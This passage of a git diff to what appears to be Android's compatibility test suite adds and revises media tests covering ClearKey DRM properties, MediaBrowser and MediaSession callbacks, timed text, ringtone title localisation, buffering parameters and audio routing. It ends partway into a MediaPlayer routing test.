+            for (int bufferSizeInBytes : BUFFER_SIZES) {
+                try {
+                    final AudioTrack track = new AudioTrack.Builder()
+                        .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+                            .setSampleRate(44100)
+                            .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                            .build())
+                        .setTransferMode(mode)
+                        .setBufferSizeInBytes(bufferSizeInBytes) // 1 byte == 1 frame
+                        .build();
+                    track.release(); // OK to successfully complete
+                } catch (UnsupportedOperationException e) {
+                    ; // OK to throw unsupported exception
+                }
+            }
+        }
+    }
+
 /* Do not run in JB-MR1. will be re-opened in the next platform release.
     public void testResourceLeakage() throws Exception {
         final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index d43dce1..2b7dccb 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -41,6 +41,7 @@
 import java.nio.ByteBuffer;
 import java.nio.CharBuffer;
 import java.nio.charset.Charset;
+import java.util.Arrays;
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 import java.util.HashMap;
@@ -79,6 +80,18 @@
     private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
     private static final String MIME_VIDEO_VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
 
+    // Property Keys
+    private static final String ALGORITHMS_PROPERTY_KEY = MediaDrm.PROPERTY_ALGORITHMS;
+    private static final String DESCRIPTION_PROPERTY_KEY = MediaDrm.PROPERTY_DESCRIPTION;
+    private static final String DEVICEID_PROPERTY_KEY = "deviceId";
+    private static final String INVALID_PROPERTY_KEY = "invalid property key";
+    private static final String LISTENER_TEST_SUPPORT_PROPERTY_KEY = "listenerTestSupport";
+    private static final String VENDOR_PROPERTY_KEY = MediaDrm.PROPERTY_VENDOR;
+    private static final String VERSION_PROPERTY_KEY = MediaDrm.PROPERTY_VERSION;
+
+    // Error message
+    private static final String ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED = "Crypto scheme is not supported";
+
     private static final Uri CENC_AUDIO_URL = Uri.parse(
             "https://storage.googleapis.com/wvmedia/clear/h264/llama/llama_aac_audio.mp4");
     private static final Uri CENC_VIDEO_URL = Uri.parse(
@@ -100,7 +113,7 @@
     private Looper mLooper;
     private MediaCodecClearKeyPlayer mMediaCodecPlayer;
     private MediaDrm mDrm;
-    private Object mLock = new Object();
+    private final Object mLock = new Object();
     private SurfaceHolder mSurfaceHolder;
 
     @Override
@@ -348,7 +361,7 @@
             drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
             if (!drm.isCryptoSchemeSupported(drmSchemeUuid)) {
                 stopDrm(drm);
-                throw new Error("Crypto scheme is not supported.");
+                throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
             }
             mSessionId = openSession(drm);
         }
@@ -435,7 +448,7 @@
         MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc", COMMON_PSSH_SCHEME_UUID);
         if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
             stopDrm(drm);
-            throw new Error("Crypto scheme is not supported.");
+            throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
         }
 
         mSessionId = openSession(drm);
@@ -524,4 +537,172 @@
             MPEG2TS_CLEAR_URL, false,
             VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
     }
+
+    private String getStringProperty(final MediaDrm drm,  final String key) {
+        String value = "";
+        try {
+            value = drm.getPropertyString(key);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected result: " + e.getMessage());
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+        return value;
+    }
+
+    private byte[] getByteArrayProperty(final MediaDrm drm,  final String key) {
+        byte[] bytes = new byte[0];
+        try {
+            bytes = drm.getPropertyByteArray(key);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+        return bytes;
+    }
+
+    private void setStringProperty(final MediaDrm drm, final String key, final String value) {
+        try {
+            drm.setPropertyString(key, value);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+    }
+
+    private void setByteArrayProperty(final MediaDrm drm, final String key, final byte[] bytes) {
+        try {
+            drm.setPropertyByteArray(key, bytes);
+        } catch (IllegalArgumentException e) {
+            // Expected exception for invalid key
+            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
+        } catch (Exception e) {
+            throw new Error(e.getMessage() + "-" + key);
+        }
+    }
+
+    public void testGetProperties() throws Exception {
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
+                "cenc", COMMON_PSSH_SCHEME_UUID);
+
+        try {
+            // The following tests will not verify the value we are getting
+            // back since it could change in the future.
+            final String[] sKeys = {
+                    DESCRIPTION_PROPERTY_KEY, LISTENER_TEST_SUPPORT_PROPERTY_KEY,
+                    VENDOR_PROPERTY_KEY, VERSION_PROPERTY_KEY};
+            String value;
+            for (String key : sKeys) {
+                value = getStringProperty(drm, key);
+                Log.d(TAG, "getPropertyString returns: " + key + ", " + value);
+                if (value.isEmpty()) {
+                    throw new Error("Failed to get property for: " + key);
+                }
+            }
+
+            byte[] bytes = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+            if (0 == bytes.length) {
+                throw new Error("Failed to get property for: " + DEVICEID_PROPERTY_KEY);
+            }
+
+            // Test with an invalid property key.
+            value = getStringProperty(drm, INVALID_PROPERTY_KEY);
+            bytes = getByteArrayProperty(drm, INVALID_PROPERTY_KEY);
+            if (!value.isEmpty() || 0 != bytes.length) {
+                throw new Error("get property failed using an invalid property key");
+            }
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    public void testSetProperties() throws Exception {
+        MediaDrm drm = startDrm(new byte[][]{CLEAR_KEY_CENC},
+                "cenc", COMMON_PSSH_SCHEME_UUID);
+
+        try {
+            // Test setting predefined string property
+            // - Save the value to be restored later
+            // - Set the property value
+            // - Check the value that was set
+            // - Restore previous value
+            String listenerTestSupport = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+
+            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
+
+            String value = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+            if (!value.equals("testing")) {
+                throw new Error("Failed to set property: " + LISTENER_TEST_SUPPORT_PROPERTY_KEY);
+            }
+
+            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, listenerTestSupport);
+
+            // Test setting new string property
+            setStringProperty(drm, "NewStringPropertyKeyTest", "test value");
+
+            value = getStringProperty(drm, "NewStringPropertyKeyTest");
+            if (!value.equals("test value")) {
+                throw new Error("Failed to set property: NewStringPropertyKeyTest");
+            }
+
+            // Test setting immutable properties
+            HashMap<String, String> defaultImmutableProperties = new HashMap<String, String>();
+            defaultImmutableProperties.put(ALGORITHMS_PROPERTY_KEY,
+                    getStringProperty(drm, ALGORITHMS_PROPERTY_KEY));
+            defaultImmutableProperties.put(DESCRIPTION_PROPERTY_KEY,
+                    getStringProperty(drm, DESCRIPTION_PROPERTY_KEY));
+            defaultImmutableProperties.put(VENDOR_PROPERTY_KEY,
+                    getStringProperty(drm, VENDOR_PROPERTY_KEY));
+            defaultImmutableProperties.put(VERSION_PROPERTY_KEY,
+                    getStringProperty(drm, VERSION_PROPERTY_KEY));
+
+            HashMap<String, String> immutableProperties = new HashMap<String, String>();
+            immutableProperties.put(ALGORITHMS_PROPERTY_KEY, "brute force");
+            immutableProperties.put(DESCRIPTION_PROPERTY_KEY, "testing only");
+            immutableProperties.put(VENDOR_PROPERTY_KEY, "my Google");
+            immutableProperties.put(VERSION_PROPERTY_KEY, "undefined");
+
+            for (String key : immutableProperties.keySet()) {
+                setStringProperty(drm, key, immutableProperties.get(key));
+            }
+
+            // Verify the immutable properties have not been set
+            for (String key : immutableProperties.keySet()) {
+                value = getStringProperty(drm, key);
+                if (!defaultImmutableProperties.get(key).equals(getStringProperty(drm, key))) {
+                    throw new Error("Immutable property has changed, key=" + key);
+                }
+            }
+
+            // Test setPropertyByteArray
+            final byte[] bytes = new byte[] {
+                    0xf, 0xe, 0xd, 0xc, 0xb, 0xa, 0x9, 0x8,
+                    0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0};
+
+            setByteArrayProperty(drm, "someBytes", bytes);
+
+            // Verify new property value
+            if (!Arrays.equals(bytes, getByteArrayProperty(drm, "someBytes"))) {
+                throw new Error("Failed to set byte array for key=" + "someBytes");
+            }
+
+            // Test setPropertyByteArray for immutable property
+            final byte[] deviceId = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+
+            setByteArrayProperty(drm, DEVICEID_PROPERTY_KEY, bytes);
+
+            // Verify deviceId has not changed
+            if (!Arrays.equals(deviceId, getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY))) {
+                throw new Error("Failed to set byte array for key=" + DEVICEID_PROPERTY_KEY);
+            }
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index fd8c3b1..c401c75 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -300,6 +300,24 @@
                 mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
     }
 
+    public void testSubscriptionCallbackNotCalledAfterDisconnect() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+        mMediaBrowser.disconnect();
+        resetCallbacks();
+        StubMediaBrowserService.sInstance.notifyChildrenChanged(
+                StubMediaBrowserService.MEDIA_ID_ROOT);
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+        assertEquals(0, mSubscriptionCallback.mChildrenLoadedWithOptionCount);
+        assertNull(mSubscriptionCallback.mLastParentId);
+    }
+
     public void testUnsubscribeForMultipleSubscriptions() {
         createMediaBrowser(TEST_BROWSER_SERVICE);
         connectMediaBrowserService();
@@ -436,6 +454,21 @@
         assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback.mLastErrorId);
     }
 
+    public void testItemCallbackNotCalledAfterDisconnect() {
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        connectMediaBrowserService();
+        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+        mMediaBrowser.disconnect();
+        resetCallbacks();
+        try {
+            Thread.sleep(SLEEP_MS);
+        } catch (InterruptedException e) {
+            fail("Unexpected InterruptedException occurred.");
+        }
+        assertNull(mItemCallback.mLastMediaItem);
+        assertNull(mItemCallback.mLastErrorId);
+    }
+
     private void createMediaBrowser(final ComponentName component) {
         getInstrumentation().runOnMainSync(new Runnable() {
             @Override
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 363c350..7dd08c4 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -1846,6 +1846,14 @@
     }
 
     public void testChangeTimedTextTrack() throws Throwable {
+        testChangeTimedTextTrackWithSpeed(1.0f);
+    }
+
+    public void testChangeTimedTextTrackFast() throws Throwable {
+        testChangeTimedTextTrackWithSpeed(2.0f);
+    }
+
+    private void testChangeTimedTextTrackWithSpeed(float speed) throws Throwable {
         testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
                 new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
                 new VerifyAndSignalTimedText(),
@@ -1856,6 +1864,10 @@
                         mOnTimedTextCalled.reset();
 
                         mMediaPlayer.start();
+                        if (speed != 1.0f) {
+                            mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(speed));
+                        }
+
                         assertTrue(mMediaPlayer.isPlaying());
 
                         // Waits until at least two subtitles are fired. Timeout is 2.5 sec.
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 137b7cf..401e2d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -110,6 +110,76 @@
                 "_data like ?", new String[] { mFileDir + "%"});
     }
 
+    public void testLocalizeRingtoneTitles() throws Exception {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+            mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // start connection and wait until connected
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        // Write unlocalizable audio file and scan to insert into database
+        final String unlocalizablePath = mFileDir + "/unlocalizable.mp3";
+        writeFile(R.raw.testmp3, unlocalizablePath);
+        mMediaScannerConnection.scanFile(unlocalizablePath, null);
+        checkMediaScannerConnection();
+        final Uri media1Uri = mMediaScannerConnectionClient.mediaUri;
+
+        // Ensure unlocalizable titles come back correctly
+        final ContentResolver res = mContext.getContentResolver();
+        final String unlocalizedTitle = "Chimey Phone";
+        Cursor c = res.query(media1Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(unlocalizedTitle, c.getString(0));
+
+        mMediaScannerConnectionClient.reset();
+
+        // Write localizable audio file and scan to insert into database
+        final String localizablePath = mFileDir + "/localizable.mp3";
+        writeFile(R.raw.testmp3_4, localizablePath);
+        mMediaScannerConnection.scanFile(localizablePath, null);
+        checkMediaScannerConnection();
+        final Uri media2Uri = mMediaScannerConnectionClient.mediaUri;
+
+        // Ensure localized title comes back localized
+        final String localizedTitle = mContext.getString(R.string.test_localizable_title);
+        c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(localizedTitle, c.getString(0));
+
+        // Update localizable audio file to have unlocalizable title
+        final ContentValues values = new ContentValues();
+        final String newTitle = "New Title";
+        values.put("title", newTitle);
+        res.update(media2Uri, values, null, null);
+
+        // Ensure title comes back correctly
+        c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(newTitle, c.getString(0));
+
+        // Update audio file to have localizable title once again
+        final String newLocalizableTitle =
+            "android.resource://android.media.cts/string/test_localizable_title";
+        values.put("title", newLocalizableTitle);
+        res.update(media2Uri, values, null, null);
+
+        // Ensure title comes back localized
+        c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(localizedTitle, c.getString(0));
+
+        mMediaScannerConnection.disconnect();
+        c.close();
+    }
+
     public void testMediaScanner() throws InterruptedException, IOException {
         mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
         mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index cc6f186..58be212 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -15,6 +15,8 @@
  */
 package android.media.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
 import android.app.PendingIntent;
 import android.content.ComponentName;
 import android.content.Context;
@@ -33,6 +35,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.Parcel;
+import android.support.test.filters.LargeTest;
 import android.test.AndroidTestCase;
 import android.view.KeyEvent;
 
@@ -417,6 +420,27 @@
         }
     }
 
+    /**
+     * Tests {@link MediaSession#setCallback} with {@code null}. No callbacks will be called
+     * once {@code setCallback(null)} is done.
+     */
+    public void testSetCallbackWithNull() throws Exception {
+        MediaSessionCallback sessionCallback = new MediaSessionCallback();
+        mSession.setCallback(sessionCallback, mHandler);
+        mSession.setFlags(MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        mSession.setActive(true);
+
+        MediaController controller = mSession.getController();
+        setPlaybackState(PlaybackState.STATE_PLAYING);
+
+        sessionCallback.reset(1);
+        mSession.setCallback(null, mHandler);
+
+        controller.getTransportControls().pause();
+        assertFalse(sessionCallback.await(WAIT_MS));
+        assertFalse("Callback shouldn't be called.", sessionCallback.mOnPauseCalled);
+    }
+
     private void setPlaybackState(int state) {
         final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
                 | PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 45b2b8b..d29cfed 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -157,6 +157,7 @@
         try {
             testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
                     "unknown-property", value);
+            fail("Should have thrown an exception");
         } catch (RuntimeException e) {
             Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
             assertThat(e.getMessage(), containsString("get property string returns"));
diff --git a/tests/tests/media/src/android/media/cts/ParamsTest.java b/tests/tests/media/src/android/media/cts/ParamsTest.java
index 6cf9be6..fab616a 100644
--- a/tests/tests/media/src/android/media/cts/ParamsTest.java
+++ b/tests/tests/media/src/android/media/cts/ParamsTest.java
@@ -373,59 +373,18 @@
     }
 
     public void testBufferingParamsBuilderAndGet() {
-        final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
         final int initialMarkMs = 2;
-        final int initialMarkKB = 20;
-        final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
-        final int rebufferingMarkLowMs = 1;
-        final int rebufferingMarkHighMs = 3;
-        final int rebufferingMarkLowKB = 10;
-        final int rebufferingMarkHighKB = 30;
+        final int resumePlaybackMarkMs = 3;
 
         BufferingParams p1 = new BufferingParams.Builder()
-                .setInitialBufferingMode(initialMode)
-                .setInitialBufferingWatermarkMs(initialMarkMs)
-                .setInitialBufferingWatermarkKB(initialMarkKB)
-                .setRebufferingMode(rebufferingMode)
-                .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
-                .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
-                .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
-                .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+                .setInitialMarkMs(initialMarkMs)
+                .setResumePlaybackMarkMs(resumePlaybackMarkMs)
                 .build();
 
-        assertEquals("initial buffering mode should match",
-                p1.getInitialBufferingMode(), initialMode);
-        assertEquals("rebuffering mode should match",
-                p1.getRebufferingMode(), rebufferingMode);
         assertEquals("intial markMs should match",
-                p1.getInitialBufferingWatermarkMs(), initialMarkMs);
-        assertEquals("intial markKB should match",
-                p1.getInitialBufferingWatermarkKB(), initialMarkKB);
-        assertEquals("rebuffering low markMs should match",
-                p1.getRebufferingWatermarkLowMs(), rebufferingMarkLowMs);
-        assertEquals("rebuffering low markKB should match",
-                p1.getRebufferingWatermarkLowKB(), rebufferingMarkLowKB);
-        assertEquals("rebuffering high markMs should match",
-                p1.getRebufferingWatermarkHighMs(), rebufferingMarkHighMs);
-        assertEquals("rebuffering high markKB should match",
-                p1.getRebufferingWatermarkHighKB(), rebufferingMarkHighKB);
-
-        final int rebufferingMarkLowMsPair = 4;
-        final int rebufferingMarkHighMsPair = 5;
-        final int rebufferingMarkLowKBPair = 40;
-        final int rebufferingMarkHighKBPair = 50;
-        BufferingParams p2 = new BufferingParams.Builder(p1)
-                .setRebufferingWatermarksMs(rebufferingMarkLowMsPair, rebufferingMarkHighMsPair)
-                .setRebufferingWatermarksKB(rebufferingMarkLowKBPair, rebufferingMarkHighKBPair)
-                .build();
-        assertEquals("paired low markMs should match",
-                p2.getRebufferingWatermarkLowMs(), rebufferingMarkLowMsPair);
-        assertEquals("paired low markKB should match",
-                p2.getRebufferingWatermarkLowKB(), rebufferingMarkLowKBPair);
-        assertEquals("paired high markMs should match",
-                p2.getRebufferingWatermarkHighMs(), rebufferingMarkHighMsPair);
-        assertEquals("paired high markKB should match",
-                p2.getRebufferingWatermarkHighKB(), rebufferingMarkHighKBPair);
+                p1.getInitialMarkMs(), initialMarkMs);
+        assertEquals("resume playback markMs should match",
+                p1.getResumePlaybackMarkMs(), resumePlaybackMarkMs);
     }
 
     public void testBufferingParamsDescribeContents() {
@@ -434,24 +393,12 @@
     }
 
     public void testBufferingParamsWriteToParcel() {
-        final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
         final int initialMarkMs = 2;
-        final int initialMarkKB = 20;
-        final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
-        final int rebufferingMarkLowMs = 1;
-        final int rebufferingMarkHighMs = 3;
-        final int rebufferingMarkLowKB = 10;
-        final int rebufferingMarkHighKB = 30;
+        final int resumePlaybackMarkMs = 3;
 
         BufferingParams p = new BufferingParams.Builder()
-                .setInitialBufferingMode(initialMode)
-                .setInitialBufferingWatermarkMs(initialMarkMs)
-                .setInitialBufferingWatermarkKB(initialMarkKB)
-                .setRebufferingMode(rebufferingMode)
-                .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
-                .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
-                .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
-                .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+                .setInitialMarkMs(initialMarkMs)
+                .setResumePlaybackMarkMs(resumePlaybackMarkMs)
                 .build();
 
         Parcel parcel = Parcel.obtain();
@@ -459,22 +406,10 @@
         parcel.setDataPosition(0);
         BufferingParams q = BufferingParams.CREATOR.createFromParcel(parcel);
 
-        assertEquals("initial buffering mode should match",
-                p.getInitialBufferingMode(), q.getInitialBufferingMode());
-        assertEquals("rebuffering mode should match",
-                p.getRebufferingMode(), q.getRebufferingMode());
-        assertEquals("initial buffering markMs should match",
-                p.getInitialBufferingWatermarkMs(), q.getInitialBufferingWatermarkMs());
-        assertEquals("initial buffering markKB should match",
-                p.getInitialBufferingWatermarkKB(), q.getInitialBufferingWatermarkKB());
-        assertEquals("rebuffering low markMs should match",
-                p.getRebufferingWatermarkLowMs(), q.getRebufferingWatermarkLowMs());
-        assertEquals("rebuffering low markKB should match",
-                p.getRebufferingWatermarkLowKB(), q.getRebufferingWatermarkLowKB());
-        assertEquals("rebuffering high markMs should match",
-                p.getRebufferingWatermarkHighMs(), q.getRebufferingWatermarkHighMs());
-        assertEquals("rebuffering high markKB should match",
-                p.getRebufferingWatermarkHighKB(), q.getRebufferingWatermarkHighKB());
+        assertEquals("initial markMs should match",
+                p.getInitialMarkMs(), q.getInitialMarkMs());
+        assertEquals("resume playback markMs should match",
+                p.getResumePlaybackMarkMs(), q.getResumePlaybackMarkMs());
 
         parcel.recycle();
     }
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 7614568..ddb534a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -19,25 +19,39 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 
+import android.media.AudioAttributes;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioRecord;
 import android.media.AudioRouting;
 import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.MediaFormat;
 import android.media.MediaRecorder;
 
+import android.os.Environment;
 import android.os.Handler;
 import android.os.Looper;
+import android.os.SystemClock;
 
 import android.test.AndroidTestCase;
 
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
 import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
- * AudioTrack / AudioRecord preferred device and routing listener tests.
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
  * The routing tests are mostly here to exercise the routing code, as an actual test would require
  * adding / removing an audio device for the listeners to be called.
  * The routing listener code is designed to run for two versions of the routing code:
@@ -46,8 +60,18 @@
  */
 public class RoutingTest extends AndroidTestCase {
     private static final String TAG = "RoutingTest";
+    private static final int MAX_WAITING_ROUTING_CHANGED_COUNT = 3;
+    private static final long WAIT_ROUTING_CHANGE_TIME_MS = 1000;
+    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+    private static final long MAX_FILE_SIZE_BYTE = 5000;
+    private static final int RECORD_TIME_MS = 3000;
+    private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
+        Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
 
     private AudioManager mAudioManager;
+    private CountDownLatch mRoutingChangedLatch;
+    private File mOutFile;
 
     @Override
     protected void setUp() throws Exception {
@@ -58,6 +82,14 @@
         assertNotNull(mAudioManager);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (mOutFile != null && mOutFile.exists()) {
+            mOutFile.delete();
+        }
+        super.tearDown();
+    }
+
     private AudioTrack allocAudioTrack() {
         int bufferSize =
                 AudioTrack.getMinBufferSize(
@@ -455,4 +487,260 @@
         audioRecord.stop();
         audioRecord.release();
     }
+
+    private class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+    {
+        public void onRoutingChanged(AudioRouting audioRouting) {
+            if (mRoutingChangedLatch != null) {
+                mRoutingChangedLatch.countDown();
+            }
+        }
+    }
+
+    private MediaPlayer allocMediaPlayer() {
+        final int resid = R.raw.testmp3_2;
+        MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
+        mediaPlayer.setAudioAttributes(
+            new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+        mediaPlayer.start();
+        return mediaPlayer;
+    }
+
+    public void test_mediaPlayer_preferredDevice() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+        assertTrue(mediaPlayer.isPlaying());
+
+        // None selected (new MediaPlayer), so check for default
+        assertNull(mediaPlayer.getPreferredDevice());
+
+        // resets to default
+        assertTrue(mediaPlayer.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+            assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(mediaPlayer.setPreferredDevice(null));
+        assertNull(mediaPlayer.getPreferredDevice());
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+    public void test_mediaPlayer_getRoutedDevice() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+        assertTrue(mediaPlayer.isPlaying());
+
+        // Sleep for 1s to ensure the output device open
+        SystemClock.sleep(1000);
+
+        // No explicit route
+        AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+        assertNotNull(routedDevice);
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+    public void test_MediaPlayer_RoutingListener() {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+
+        // null listener
+        mediaPlayer.addOnRoutingChangedListener(null, null);
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+        // add a listener
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+        // remove listeners
+        // remove a listener we didn't add
+        mediaPlayer.removeOnRoutingChangedListener(someOtherListener);
+        // remove a valid listener
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+
+        Looper myLooper = prepareIfNeededLooper();
+
+        mediaPlayer.addOnRoutingChangedListener(listener, new Handler());
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+
+        mediaPlayer.stop();
+        mediaPlayer.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
+
+    public void test_MediaPlayer_RoutingChangedCallback() {
